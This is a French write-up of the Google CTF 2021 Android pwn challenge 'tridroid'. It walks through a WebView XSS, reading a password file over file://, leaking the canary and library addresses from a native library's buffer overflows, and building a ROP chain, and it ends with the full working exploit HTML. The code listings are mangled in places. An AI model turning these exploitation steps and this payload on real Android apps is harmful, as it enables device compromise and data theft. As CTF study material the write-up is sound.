Détails
- Catégorie : pwn
- Points : 363
- Résolutions : 10
Description
Are you proficient enough to penetrate through the triangle of Android?
Note: the emulator does not have Internet access;
Note: You need to enable KVM on your machine to run the challenge locally; otherwise it will be super slow.
nc tridroid.2021.ctfcompetition.com 1337
The attachement was a zip file containing the following elements :
- app.apk: it’s basically the Android Package; a compressed folder containing and regrouping all application setup files
- Dockerfile: file containing the commands to build the Docker image and create an emulator running Android x86_64 API level 30 (also known as Android 11)
- flag: local flag to run and test the exploit on our side before submitting it.
- run.sh: script used to build the Dockerfile and run some other mandatory commands to make the environment work properly
- server.py: python script used to create AVD (Android Virtual Device). This virtual device will be identical to Google’s remote server, launch the app, set the flag and wait for our payload.
Disclaimer : This is not a challenge we managed to solve during the competition. However, while reading other teams’ write up we thought it would be interesting to try to solve it on our own. Indeed, it involves several complex but nevertheless interesting techniques on binary exploitation and allows playing with Android real-world vulnerability. Have a good reading ;)
Analyse de l'application
Maintenant que nous avons tous ces éléments, on commence par décompiler le apk en utilisant apktool en ligne de commande:
apktool d app.apk
Le apk est décompilé dans un nouveau dossier appelé app (actuellement le nom original du binaire sans ses extensions). On liste son contenu ci-dessous et on voit deux éléments intéressants:
total 36
drwxr-xr-x 7 kali kali 4096 Aug 2 16:32 .
drwxr-xr-x 3 kali kali 4096 Aug 2 16:32 ..
-rw-r--r-- 1 kali kali 945 Aug 2 16:32 AndroidManifest.xml
-rw-r--r-- 1 kali kali 2008 Aug 2 16:32 apktool.yml
drwxr-xr-x 2 kali kali 4096 Aug 2 16:32 assets
drwxr-xr-x 6 kali kali 4096 Aug 2 16:32 lib
drwxr-xr-x 3 kali kali 4096 Aug 2 16:32 original
drwxr-xr-x 129 kali kali 4096 Aug 2 16:32 res
drwxr-xr-x 5 kali kali 4096 Aug 2 16:32 smali
- AndroidManifest.xml
Ceci est le premier fichier que nous avons à analyser comme ceci fournit un aperçu général des composants internes utilisés par l'application (Activities, Provider, Broadcast receiver et Services).
<?xml version="1.0" encoding="utf-8" standalone="no"?>
manifest xmlns:android="http://schemas.android.com/apk/res/android" android:compileSdkVersion="30" android:compileSdkVersionCodename="11" package="com.google.ctf.pwn.tridroid" platformBuildVersionCode="30" platformBuildVersionName="11">
<application android:allowBackup="true" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:extractNativeLibs="false" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/Theme.tridroid">
<activity android:name="com.google.ctf.pwn.tridroid.MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
<intent-filter>
</activity>
</application>
</manifest> </
Ici on peut voir que l'application contient uniquement un MainActivity. C'est la première activité qui commence quand on exécute l'application.
- The lib folder
Vous ne le savez peut-être pas mais les applications Android peuvent contenir des librairies compilées natives. Elles sont souvent en C ou C++ que les développeurs ont écrits et compilés pour l'architecture spécifique. Les applications Android les appellent en utilisant la syntaxe suivante:
static {
System.loadLibrary("<library_name>");
}
Les fichiers restants ne sont pas utiles pour l'instant. Nous pouvons donc creuser dans le code source en utilisant JADX afin de voir ce que l'application fait réellement.
Analyse du code source
OnCreate
Tout d'abord, la méthode OnCreate
initialise l'activité et spécifie les ressources mises en page utilisées pour définir l'interface utilisateur. Nous pouvons observer que des composants comme textView, editText et webView seront utilisés ici.
setContentView(R.layout.activity_main); //set UI view
//defining components
this.textView = (TextView) findViewById(R.id.textView);
this.editText = (EditText) findViewById(R.id.editText);
this.webView = (WebView) findViewById(R.id.webView);
generateSecretKey();
createPasswordFile();
En outre, deux fonctions intéressantes sont aussi appelées (nous allons donner plus de détails ultérieurement):
generateSecretKey
createPasswordFile
Un listener editText est responsable de récupérer et mettre à jour les données en temps réel avant de les envoyer au webView via un objet WebMessage.
this.editText.addTextChangedListener(new TextWatcher() {
/* class com.google.ctf.pwn.tridroid.MainActivity.AnonymousClass1 */
public void beforeTextChanged(CharSequence charSequence, int i, int i2, int i3) {}
public void onTextChanged(CharSequence charSequence, int i, int i2, int i3) {}
//real time update
public void afterTextChanged(Editable editable) {
//send input text to webView via WebMessage
.this.webView.postWebMessage(new WebMessage(MainActivity.this.editText.getText().toString()), Uri.parse("*"));
MainActivity}
});
Un receiver broadcast est aussi utilisé pour mettre en place soit : - com.google.ctf.pwn.tridroid.SET_FLAG
(qui stocke des données supplémentaires comme flag) soit: - com.google.ctf.pwn.tridroid.SET_NAME
(qui envoie des données d'utilisateurs au listener editText )
this.broadcastReceiver = new BroadcastReceiver() {
/* class com.google.ctf.pwn.tridroid.MainActivity.AnonymousClass2 */
public void onReceive(Context context, Intent intent) {
if (intent.getAction().equals(MainActivity.SET_NAME_INTENT)) {
.this.editText.setText(new String(Base64.getDecoder().decode(intent.getStringExtra("data")), StandardCharsets.UTF_8));
MainActivity} else if (intent.getAction().equals(MainActivity.SET_FLAG_INTENT)) {
.this.flag = new String(Base64.getDecoder().decode(intent.getStringExtra("data").trim()), StandardCharsets.UTF_8).trim();
MainActivity}
}
};
Les propriétés du composant webView sont également définies de manière que toutes, y compris les plu dangereuses (local file access et JavaScript), sont définies à True.
this.webView.getSettings().setJavaScriptEnabled(true);
this.webView.getSettings().setAllowFileAccess(true);
this.webView.getSettings().setAllowFileAccessFromFileURLs(true);
C'est important de remarquer qu'une interface Javascript appelée bridge est créée. Elle est utilisée afin de lier JavaScript au code Android coté client. Par exemple (ceci n'est évidement pas le cas ici), le code JavaScript peut appeler une méthode Android Java pour afficher un Dialog box au lieu d'une alerte simple et moche (good to know !!!)
Finalement, webView télécharge un fichier HTML sauvegardé dans un dossier de biens (file://android_asset/index.html) :
<html>
<body>
<div>
</div>
<script>
= function(event) {
onmessage document.getElementsByTagName('div')[0].innerHTML = `Hi ${event.data}, how you doing?`;
}</script>
</body>
</html>
Ca nous parait bien pour déclencher une XSS, non?
generateSecretKey
Cette fonction génère une clé AES à partir d'un secret codé en dur.
private void generateSecretKey() {
try {
this.secretKey = new SecretKeySpec(SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256").generateSecret(new PBEKeySpec(new String(Base64.getDecoder().decode("VHJpYW5nbGUgb2YgQW5kcm9pZA=="), StandardCharsets.UTF_8).toCharArray(), new byte[32], 65536, 256)).getEncoded(), "AES");
} catch (Exception e) {
.e("TriDroid", "Generating AES key has failed ...", e);
Log}
}
Comme tout est codé en dur et qu'il n'y a pas de caractère aléatoire, cela produira toujours la même clé.
createPasswordFile
Cette fonction crée un fichier texte contenant un UUID de 36 octets généré à l'aide de la fonction randomUUID de Java.
private void createPasswordFile() {
try {
FileOutputStream openFileOutput = getApplication().openFileOutput("password.txt", 0);
try {
//store 36 characters in password.txt file
.write(UUID.randomUUID().toString().getBytes(StandardCharsets.UTF_8));
openFileOutputif (openFileOutput != null) {
.close();
openFileOutputreturn;
}
return;
} catch (Throwable th) {
.addSuppressed(th);
th}
throw th;
} catch (Exception e) {
.e("TriDroid", "Generating password file has failed ...", e);
Log}
}
Cet UUID sera utilisé comme mot de passe pour protéger l'accès à la fonction suivante.
manageStack
Cette fonction spécifie le decorator @JavascriptInterface. Cela signifie qu'elle est disponible pour le JavaScript à partir de l'interface Bridge. Une fois appelée, elle prend trois arguments et vérifie que le premier est égal au mot de passe stocké dans password.txt. Ensuite, la fonction native Android manageStack est appelée avec les deux derniers arguments.
@JavascriptInterface
public String manageStack(String str, String str2, String str3) {
try {
FileInputStream openFileInput = getApplication().openFileInput("password.txt");
try {
//verify first argument
if (str.equals(new BufferedReader(new InputStreamReader(openFileInput)).readLine())) {
//call native manageStack funtion
String hex = hex(manageStack(str2, unhex(str3)));
if (openFileInput != null) {
.close();
openFileInput}
return hex;
} else if (openFileInput == null) {
return "";
} else {
.close();
openFileInputreturn "";
}
} catch (Throwable th) {
.addSuppressed(th);
th}
throw th;
} catch (Exception e) {
.e("gCTF", "Reading password file has failed ...", e);
Logreturn "";
}
}
showFlag
Cette fonction écrit l'indicateur chiffré AES/CBC/PKCS5PADDING dans les journaux d'exécution.
public void showFlag() {
try {
Cipher instance = Cipher.getInstance("AES/CBC/PKCS5PADDING");
.init(1, this.secretKey, new IvParameterSpec(new byte[16]));
instance.d("TriDroid", "Flag: " + new String(Base64.getEncoder().encode(instance.doFinal(this.flag.getBytes(StandardCharsets.UTF_8))), StandardCharsets.UTF_8));
Log} catch (Exception e) {
.e("TriDroid", "Showing flag has failed ...", e);
Log}
}
La clé utilisée pour le chiffrement est celle générée par generateSecretKey décrite précédemment.
Mise en place de l'environnement
Nous avons construit un AVD identique à celui à distance et nous avons utilisé le script suivant afin de lancer notre exploit et récupérer les logs :
#!/bin/bash
adb shell am start -W -n com.google.ctf.pwn.tridroid/.MainActivity
# set a fake flag for local testing
adb shell am broadcast -a com.google.ctf.pwn.tridroid.SET_FLAG -e data Q1RGe1hZWn0K
adb shell am broadcast -a com.google.ctf.pwn.tridroid.SET_NAME -e data $(cat exploit.html | base64 | tr -d '\r\n')
# add chromium logs to show console.log() output
adb logcat -d -s chromium
adb logcat -d -s TriDroid
# clear the logs
adb logcat -c
Nous allons écrire notre exploit dans un fichier séparé nommé exploit.html
.
Après avoir tenté de déclencher une XSS, nous avons réalisé que ce n'est pas possible d'exécuter directement du code javascript. Cependant, nous pouvons exécuter du code en utilisant le handler onerror
d'un tag img
:
<span id="exp">
// javascript code</span>
<img src="a" onerror="eval(document.getElementById('exp').innerHTML);" />
Dans la suite de ce write-up nous focalisons uniquement sur le code javascript de l'exploit, mais souvenez-vous que tout le code que nous allons voir nécessite d'être défini dans le tag span
vu précédemment.
Trouver des vulnérabilités dans libtridroid
The libtridroid library implements the native manageStack
function. We can find this function under the name Java_com_google_ctf_pwn_tridroid_MainActivity_manageStack
in Ghidra. Here is the decompiled output after cleaning up : Only the relevant part is shown here. We can see that this function can accept 4 commands :
- push
- pop
- modify
- top
Let’s analyze them to see what they do and check if there is any exploitable vulnerability.
push
Avant d’appeler la fonction push_element
, les données à empiler sont copiées dans un buffer temporaire. Ce dernier ne fait que 72 octets, mais nous contrôlons la taille à copier. Il y a donc un dépassement de tampon dans la pile (stack based buffer overflow).
La fonction push_element
est la suivante :
Elle alloue un buffer de 24 octets sur le tas. Les 16 premiers octets sont mis à zéro et les 16 premiers octets des données à empiler y sont copiés. Les 8 derniers octets sont utilisés pour stocker un pointeur vers le stack_top
.
Il s’agit clairement d’une liste chaînée. Le buffer de 24 octets représente un élément de la liste qui peut gérer 16 octets de données (dénoté par la structure personnalisée element_t
). Le stack_top
est simplement un pointeur vers le premier élément de la liste.
La fonction push
ajoute simplement un élément au début de la liste.
pop
Cette fonction supprime simplement le premier élément de la liste :
modify
Cette fonction permet de modifier le contenu du premier élément de la liste :
Il y a deux vulnérabilités au sein de cette fonction.
La première se produit lorsque les nouvelles données sont copiées dans un buffer local de 40 octets sans vérifier sa longueur. Il en résulte un débordement du tampon de la pile.
La seconde se produit à la ligne suivante, lorsque ce tampon est copié dans le fichier de données du premier élément, à nouveau sans restreindre la taille des données à écrire. Cela entraîne un débordement de tampon dans le tas, car les éléments de liste sont stockés sur le tas. Demander à modifier le premier élément de la liste avec des données de plus de 16 octets écraserait le pointeur next_elm
de cet élément, permettant potentiellement des primitives de lecture/écriture arbitraires.
top
Cette fonction récupère simplement le premier élément de la liste et le renvoie à l’application sous la forme d’un tableau Java ByteArray.
Plan d'attaque
Avant d’établir un plan d’attaque, jetons un coup d’oeil aux protections activées sur la bibliothèque en utilisant checksec
(outil fourni avec pwntools
) :
$ checksec libc.so
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
Toutes les protections sont activées. L’exploitation ne sera pas triviale.
Notre but est d’appeler la fonction showFlag
depuis l’APK pour que le flag soit écrit dans les logs. Heureusement, la bibliothèque inclut la fonction invokeJavaMethod
.
Cette fonction requiert 4 arguments : 1. Un pointeur vers l’objet JNIEnv
. 2. Un pointeur sur l’objet This
. 3. Un pointeur sur le nom de la fonction que nous voulons appeler : “showFlag”. 4. Un pointeur sur la signature de la fonction que l’on veut appeler : “()V”.
Cette signature signifie que la fonction ne prend aucun argument et retourne Void
.
Pour arriver à ce stade, nous devons faire une ROP, en configurant les registres correctement. En se servant des 3 vulnérabilités identifiées précédemment, nous pouvons potentiellement construire notre chaîne ROP, mais nous avons besoin d’un mot de passe pour interagir avec la fonction manageStack
. Ce mot de passe peut être récupéré en exploitant un XSS.
A cause de toutes ces protections, nous devrons aussi, d’une manière ou d’une autre, divulguer la valeur du canari pour exploiter les dépassements de tampon, divulguer l’adresse de base de libtridroid
pour contourner PIE et divulguer l’adresse de base de la libc
pour obtenir assez de gadgets pour notre ROP chain.
Le plan d’attaque complet est donc :
XXS -> leak password -> leak canary -> BOF -> leak libtridroid base address -> leak libc base address -> ROP -> invokeJavaMethod() -> showFlag()
Récupération du mot de passe
Nous pouvons utiliser une XSS pour divulguer le mot de passe, mais nous devons d’abord savoir où il est stocké sur l’appareil. Pour cela, nous avons utilisé ADB et ouvert un shell sur l’émulateur.
$ adb root
restarting adbd as root
$ adb shell
generic_x86_64_arm64:/ # cd /data/data/com.google.ctf.pwn.tridroid/files
generic_x86_64_arm64:/data/data/com.google.ctf.pwn.tridroid/files # ls
password.txt
generic_x86_64_arm64:/data/data/com.google.ctf.pwn.tridroid/files # cat password.txt
acec55ba-0f8e-4cff-82c9-5aee97c5bf54
Maintenant que nous avons le chemin complet du fichier de mot de passe et parce que la vue web a les droits d’accès sur le fichier, nous pouvons ouvrir une URL commençant par file://
pour lire son contenu :
Nous pouvons utiliser une XSS pour divulguer le mot de passe, mais nous devons d’abord savoir où il est stocké sur l’appareil. Pour cela, nous avons utilisé ADB et ouvert un shell sur l’émulateur.
$ adb root
restarting adbd as root
$ adb shell
generic_x86_64_arm64:/ # cd /data/data/com.google.ctf.pwn.tridroid/files
generic_x86_64_arm64:/data/data/com.google.ctf.pwn.tridroid/files # ls
password.txt
generic_x86_64_arm64:/data/data/com.google.ctf.pwn.tridroid/files # cat password.txt
acec55ba-0f8e-4cff-82c9-5aee97c5bf54
Maintenant que nous avons le chemin complet du fichier de mot de passe et parce que la vue web a les droits d’accès sur le fichier, nous pouvons ouvrir une URL commençant par file://
pour lire son contenu :
const pwd = "/data/data/com.google.ctf.pwn.tridroid/files/password.txt";
var xmlHttp = new XMLHttpRequest();
.open("GET", "file://"+pwd, false); // false for synchronous request
xmlHttp.send();
xmlHttp= xmlHttp.responseText;
password alert("password : "+password);
Ca marche ! Les alertes sont très visuelles, mais sont encombrantes car nous devons cliquer dessus pour les faire disparaître. C’est pourquoi nous avons décidé d’utiliser console.log()
à partir de maintenant. Le résultat devrait apparaître dans la sortie logcat de chrome :
console.log("password : "+password);
En relançant l’exploit, la sortie dans les logs s’affiche comme prévu :
08-01 14:51:21.812 8690 8690 I chromium: [INFO:CONSOLE(8)] "password : acec55ba-0f8e-4cff-82c9-5aee97c5bf54", source: (8)
En ayant le mot de passe, nous pouvons interagir avec la fonction manageStack
. Comme un bridge a été enregistré, nous pouvons y accéder directement depuis le Javascript. Pour des raisons de commodité, nous avons décidé de faire des petits wrappers autour de cette fonction :
function push(data) {
// interface bridge
return bridge.manageStack(password, "push", data);
}
function pop() {
// interface bridge
return bridge.manageStack(password, "pop", '');
}
function top() {
// interface bridge
return bridge.manageStack(password, "top", '');
}
function modify(data) {
// interface bridge
return bridge.manageStack(password, "modify", data);
}
Les données d’entrée doivent être spécifiées en hexadécimal. La sortie l’est également.
Nous pouvons le tester en empilant une valeur sur la pile et en la récupérant avec top
:
push("41424344")
console.log(top())
Cela donne :
08-01 15:01:04.401 8690 8690 I chromium: [INFO:CONSOLE(31)] "41424344", source: (31)
Divulgation du canari et de l'adresse de base de la librairie libtridroid
Nous pouvons se servir du fait que le modify_element
n’ajoute pas un octet NULL à la fin de nos données pour divulguer le contenu de la pile.
Comme le buffer temporaire n’est pas écrasé par un zéro après avoir été alloué, nous avons accès au contenu de la pile.
Après débogage avec GDB, nous avons observé que 8 octets après le début de ce buffer, une adresse de retour est toujours présente. La divulguer nous permettrait de contourner PIE.
Le canari est situé juste après les 40 octets du même buffer. Une chose importante à noter est que le canari ne commence pas par un octet NULL, contrairement à l’environnement Linux classique. Il s’agit d’une fonctionnalité de sécurité, qui vise à protéger contre ce type de fuite d’informations. Il est étrange que sur Android les canaris n’aient pas cette fonctionnalité de sécurité.
Afin de divulguer l’adresse de retour, nous pouvons appeler modify
avec seulement 8 octets de nouvelles données et appeler top
pour déclencher la fuite. Nous pouvons réaliser la même chose pour le canari en utilisant 40 octets de données :
// initialize the stack top
push("41414141")
push("41414141")
push("41414141")
// leak return address
// return address is located in the stack at offset 8
modify("4141414141414141");
// skip 16 first bytes (4141...)
= top().substring(16);
leak console.log("Return address : "+leak);
// leak canary
// canary is at the end of the 40 bytes buffer
modify("41414141414141414141414141414141414141414141414141414141414141414141414141424242");
// skip 40 first bytes (4141...)
= top().substring(80);
leak = leak.substring(0, 16);
canary console.log("Canary : "+canary);
Ce qui donne :
08-02 21:15:14.483 22159 22159 I chromium: [INFO:CONSOLE(42)] "Return address : ff9601d15f78", source: (42)
08-02 21:15:14.489 22159 22159 I chromium: [INFO:CONSOLE(51)] "Canary : f39bbcd81de1a225", source: (51)
En utilisant notre session de débogage avec GDB, nous constatons que l’adresse de retour est à l’offset 0x16FF
de la base de libtridroid. En soustrayant cet offset de l’adresse de retour, on obtient l’adresse de base.
Nous avons écrit de petites fonctions d’aide pour “packer” et “depacker” les adresses en little endian :
function unpack64(data) {
return parseInt(data.match(/../g).reverse().join(''), 16);
}
function pack64(data) {
return data.toString(16).match(/../g).reverse().join('').padEnd(16, '0');
}
En les utilisant, nous pouvons divulguer l’adresse de base :
= unpack64(leak) - 0x16FF;
base_addr console.log("Base address : "+base_addr.toString(16));
Ceci fournit le résultat suivant :
08-02 21:33:24.962 22159 22159 I chromium: [INFO:CONSOLE(50)] "Base address : 785fd1018000", source: (50)
Nous pouvons confirmer que l’adresse est bien valide à partir de notre shell ADB :
generic_x86_64_arm64:/ # grep "tridroid" /proc/$(pidof com.google.ctf.pwn.tridroid)/maps | grep "r-x" | grep base.apk
785fd1018000-785fd101a000 r-xp 003a1000 fd:05 40963 /data/app/~~8HrbOax9i97fF6BJzSPA0Q==/com.google.ctf.pwn.tridroid-2Omui46_qGvtYZn0eUP3ZQ==/base.apk
Ayant l’adresse de base, nous pouvons calculer l’adresse de invokeJavaMethod
car nous savons grâce à Ghidra qu’elle est située à l’offset 0xFA0
:
= base_addr + 0xFA0;
invoke_addr console.log("invokeJavaMethod address : "+invoke_addr.toString(16));
Obtenir des primitives de lecture/écriture arbitraires
Nous pouvons se servir des vulnérabilités identifiées dans modify_element
pour tirer parti d’une lecture et d’une écriture arbitraires.
Une lecture arbitraire peut être obtenue en écrasant le pointeur next_elm
du premier élément de la liste, avec l’adresse souhaitée. L’appel de pop
modifiera ensuite stack_top
pour qu’il pointe sur cette adresse, supprimant alors l’élément modifié. L’appel de top
affichera les données situées à stack_top
, qui est maintenant l’adresse que nous contrôlons.
L’écriture arbitraire s’obtient de la même manière. D’abord, nous devons modifier stack_top
pour qu’il pointe sur l’adresse où nous voulons écrire, en utilisant les mêmes étapes que précédemment. Maintenant nous pouvons appeler modify
une fois de plus pour écrire des données arbitraires à stack_top
, qui est notre adresse souhaitée :
function read(addr) {
// push something because we pop after
push("41")
// 16*"41" + pointer overwrite
modify("41414141414141414141414141414141"+pack64(addr));
pop();
return top();
}
function write(addr, data) {
// push something because we pop after
push("41")
// 16*"41" + pointer overwrite
modify("41414141414141414141414141414141"+pack64(addr));
pop();
modify(data)
}
Divulgation de l'adresse de la libc
Une technique courante pour divulguer l’adresse de base de la libc lors de primitives de lecture arbitraires est de divulguer une adresse de la GOT (Global Offset Table). Nous devons choisir une fonction dont nous savons qu’elle a déjà été utilisée avant de la lire.
Nous avons décidé de divulguer l’adresse de malloc
. Son offset dans libtridroid est 0x2F70
. Depuis notre shell ADB, nous pouvons voir à quel offset malloc
est défini dans la libc de l’émulateur :
generic_x86_64_arm64:/ # readelf -s /system/lib64/libc.so | grep " malloc$"
801: 0000000000043410 79 FUNC GLOBAL DEFAULT 14 malloc
1658: 0000000000043410 79 FUNC GLOBAL DEFAULT 14 malloc
Le décalage est de 0x43410
. En le soustrayant à l’adresse divulguée, on obtient l’adresse de base de la libc :
// leak malloc address
= unpack64(read(base_addr + 0x2F70))
malloc // compute libc base
= malloc - 0x43410
libc_base console.log("Libc base address : "+libc_base.toString(16));
Cela donne :
08-03 20:10:33.389 23878 23878 I chromium: [INFO:CONSOLE(86)] "Libc base address : 7862bccd2000", source: (86)
Divulgation des objets JNIEnv and This
Nous avons vu que pour appeler la fonction invokeJavaMethod
, nous avons besoin d’un pointeur sur l’objet JNIEnv
et d’un pointeur sur l’objet This
. Nous pouvons trouver des références à ces deux objets au début de la fonction Java_com_google_ctf_pwn_tridroid_MainActivity_manageStack
:
Nous voyons qu’ils sont stockés sur la pile à RBP-0x60
et RBP-0x68
respectivement (Ghidra ajoute 8 aux offsets de la pile car il commence à l’adresse de retour, IDA ne le fait pas).
Il s’avère que nous pouvons facilement divulguer la valeur de RBP
car elle est stockée juste après le canari que nous avons divulgué plus tôt :
// leak RBP
// RBP is at the end of the 40 bytes buffer, after the canary
modify("41414141414141414141414141414141414141414141414141414141414141414141414141424242"+canary);
// skip 48 first bytes (4141...)
= top().substring(96);
leak = unpack64(leak);
RBP console.log("RBP : "+RBP.toString(16));
Cela donne :
08-03 20:37:57.854 9143 9143 I chromium: [INFO:CONSOLE(99)] "RBP : 785fce295c30", source: (99)
Maintenant nous pouvons divulguer les pointeurs vers JNIEnv
et This
en utilisant notre primitive de lecture :
// get jniEnv and this
= unpack64(read(RBP-0x60)); // vu dans IDA
JNI_env = unpack64(read(RBP-0x68)); // vu dans IDA
this_ptr console.log("JNI_env : "+JNI_env.toString(16));
console.log("this_ptr : "+this_ptr.toString(16));
Ceci fournit le résultat suivant :
08-03 20:40:08.152 9143 9143 I chromium: [INFO:CONSOLE(104)] "JNI_env : 7860e9512af0", source: (104)
08-03 20:40:08.153 9143 9143 I chromium: [INFO:CONSOLE(105)] "this_ptr : 785fce295c54", source: (105)
Positionner les derniers arguments
Les dernières choses dont nous avons besoin sont :
- Un pointeur sur le nom de la fonction que nous voulons appeler : “showFlag”.
- Un pointeur sur la signature de la fonction que nous voulons appeler : “()V”.
Puisque de telles chaînes ne sont pas définies dans le binaire, nous devrons les écrire nous-mêmes quelque part. Pour cela, nous allons utiliser notre primitive d’écriture, mais nous devons d’abord trouver une région de mémoire inscriptible suffisamment grande.
La .bss
de libtridroid aurait été un bon choix mais elle est malheureusement trop petite. Nous avons donc décidé de regarder la .bss
de la libc à la place. Cette fois-ci, elle est suffisamment grande pour que nous choisissions des adresses arbitraires en son sein : 0xD9510
et 0xD9530
.
A 0xD9510
nous allons écrire "()V\x00"
et à 0xD9530
"showFlag\x00"
:
// write "showFlag" in libc
write(libc_base + 0xD9530, '73686F77466C616700');
// write "()V" in libc
write(libc_base + 0xD9510, '28295600');
Construction de la ROP chain
Maintenant que nous avons tout ce qui est nécessaire pour construire la ROP chain, il ne nous reste plus qu’à trouver des gadgets.
D’après les conventions d’appel, les 4 premiers agruments sont stockés dans RDI
, RSI
, RDX
et RCX
respectivement.
Pour cela, nous avons utilisé ROPgadget :
ROPgadget --binary libc.so > gadgets.txt
Heureusement, il existe des gadgets simples pour configurer nos registres :
$ grep ": pop rdi ; ret$" gadgets.txt
0x0000000000042c92 : pop rdi ; ret
$ grep ": pop rsi ; ret$" gadgets.txt
0x0000000000042d38 : pop rsi ; ret
$ grep ": pop rdx ; ret$" gadgets.txt
0x0000000000046175 : pop rdx ; ret
$ grep ": pop rcx ; ret$" gadgets.txt
0x0000000000042e58 : pop rcx ; ret
La ROP chain finale est la suivante :
// 0x0000000000042e58 : pop rcx ; ret
= libc_base + 0x42e58
pop_rcx // 0x0000000000046175 : pop rdx ; ret
= libc_base + 0x46175
pop_rdx // 0x0000000000042c92 : pop rdi ; ret
= libc_base + 0x42c92
pop_rdi // 0x0000000000042d38 : pop rsi ; ret
= libc_base + 0x42d38
pop_rsi // 0x0000000000042af0 : ret
= libc_base + 0x42af0
ret
= pack64(pop_rcx)
rop += pack64(libc_base + 0xD9510) // ()V
rop += pack64(pop_rdx)
rop += pack64(libc_base + 0xD9530) // showFlag
rop += pack64(pop_rsi)
rop += pack64(this_ptr)
rop += pack64(pop_rdi)
rop += pack64(JNI_env)
rop += pack64(ret) // for stack alignment
rop += pack64(invoke_addr) rop
Pour déclencher la ROP chain, il suffit d’écraser l’adresse de retour de la fonction modify_element
:
// overwrite RIP, after canary + EBP
modify("41414141414141414141414141414141414141414141414141414141414141414141414141414141"+canary+"4242424242424242"+rop);
En testant le payload final localement on constate que le faux flag chiffré est bien écrit dans les logs :
08-03 21:10:12.950 11858 11858 I chromium: [INFO:CONSOLE(8)] "password : 80965b49-ba84-4340-ab52-26bce809c2a1", source: (8)
08-03 21:10:13.017 11858 11858 I chromium: [INFO:CONSOLE(67)] "Base address : 785fd1066000", source: (67)
08-03 21:10:13.031 11858 11858 I chromium: [INFO:CONSOLE(76)] "Canary : f39bbcd81de1a225", source: (76)
08-03 21:10:13.031 11858 11858 I chromium: [INFO:CONSOLE(80)] "invokeJavaMethod address : 785fd1066fa0", source: (80)
08-03 21:10:13.050 11858 11858 I chromium: [INFO:CONSOLE(86)] "Libc base address : 7862bccd2000", source: (86)
08-03 21:10:13.129 11858 11858 I chromium: [INFO:CONSOLE(100)] "RBP : 785fce154c30", source: (100)
08-03 21:10:13.193 11858 11858 I chromium: [INFO:CONSOLE(110)] "JNI_env : 7860e95135f0", source: (110)
08-03 21:10:13.200 11858 11858 I chromium: [INFO:CONSOLE(111)] "this_ptr : 785fce154c54", source: (111)
...
08-03 21:10:13.201 11858 11954 D TriDroid: Flag: 66McrCEanCiGETTs3N/lOw==
Obtenir le vrai flag
L’exploit complet est donné ci-dessous :
<span id="exp">
const pwd = "/data/data/com.google.ctf.pwn.tridroid/files/password.txt";
var xmlHttp = new XMLHttpRequest();
.open("GET", "file://"+pwd, false); // false for synchronous request
xmlHttp.send();
xmlHttp= xmlHttp.responseText;
password console.log("password : "+password);
function push(data) {
// interface bridge
return bridge.manageStack(password, "push", data);
}
function pop() {
// interface bridge
return bridge.manageStack(password, "pop", '');
}
function top() {
// interface bridge
return bridge.manageStack(password, "top", '');
}
function modify(data) {
// interface bridge
return bridge.manageStack(password, "modify", data);
}
function unpack64(data) {
return parseInt(data.match(/../g).reverse().join(''), 16);
}
function pack64(data) {
return data.toString(16).match(/../g).reverse().join('').padEnd(16, '0');
}
function read(addr) {
// push something because we pop after
push("41")
// 16*"41" + pointer overwrite
modify("41414141414141414141414141414141"+pack64(addr));
pop();
return top();
}
function write(addr, data) {
// push something because we pop after
push("41")
// 16*"41" + pointer overwrite
modify("41414141414141414141414141414141"+pack64(addr));
pop();
modify(data)
}
// initialize the stack top
push("41414141")
push("41414141")
push("41414141")
// leak base address
// base address is located in the stack at offset 8 but is itself offseted by 0x16FF
modify("4141414141414141");
// skip 16 first bytes (4141...)
= top().substring(16);
leak = unpack64(leak) - 0x16FF;
base_addr console.log("Base address : "+base_addr.toString(16));
// leak canary
// canary is at the end of the 40 bytes buffer
modify("41414141414141414141414141414141414141414141414141414141414141414141414141424242");
// skip 40 first bytes (4141...)
= top().substring(80);
leak // javascript gives incorrect results if we parse the canary as an Int
= leak.substring(0, 16);
canary console.log("Canary : "+canary);
// compute invokeJavaMethod address
= base_addr + 0xFA0;
invoke_addr console.log("invokeJavaMethod address : "+invoke_addr.toString(16));
// leak malloc address
= unpack64(read(base_addr + 0x2F70))
malloc // compute libc base
= malloc - 0x43410
libc_base console.log("Libc base address : "+libc_base.toString(16));
// add stuff on the stack otherwise things randomly break afterwards
push("41414141")
push("41414141")
push("41414142")
// leak RBP
// RBP is at the end of the 40 bytes buffer, after the canary
modify("41414141414141414141414141414141414141414141414141414141414141414141414141424242"+canary);
// skip 48 first bytes (4141...)
= top().substring(96);
leak = unpack64(leak);
RBP console.log("RBP : "+RBP.toString(16));
// write "showFlag" in libc
write(libc_base + 0xD9530, '73686F77466C616700');
// write "()V" in libc
write(libc_base + 0xD9510, '28295600');
// get jniEnv and this
= unpack64(read(RBP-0x60)); // vu dans IDA
JNI_env = unpack64(read(RBP-0x68)); // vu dans IDA
this_ptr console.log("JNI_env : "+JNI_env.toString(16));
console.log("this_ptr : "+this_ptr.toString(16));
// gadgets found using ROPGadget
// 0x0000000000042e58 : pop rcx ; ret
= libc_base + 0x42e58
pop_rcx // 0x0000000000046175 : pop rdx ; ret
= libc_base + 0x46175
pop_rdx // 0x0000000000042c92 : pop rdi ; ret
= libc_base + 0x42c92
pop_rdi // 0x0000000000042d38 : pop rsi ; ret
= libc_base + 0x42d38
pop_rsi // 0x0000000000042af0 : ret
= libc_base + 0x42af0
ret
// jniEnv -> RDI
// this -> RSI
// @"showFlag" -> RDX
// @"()V" -> RCX
= pack64(pop_rcx)
rop += pack64(libc_base + 0xD9510) // ()V
rop += pack64(pop_rdx)
rop += pack64(libc_base + 0xD9530) // showFlag
rop += pack64(pop_rsi)
rop += pack64(this_ptr)
rop += pack64(pop_rdi)
rop += pack64(JNI_env)
rop += pack64(ret) // for stack alignment
rop += pack64(invoke_addr)
rop
// overwrite RIP, after canary + EBP
modify("41414141414141414141414141414141414141414141414141414141414141414141414141414141"+canary+"4242424242424242"+rop);
</span>
<img src="a" onerror="eval(document.getElementById('exp').innerHTML);" />
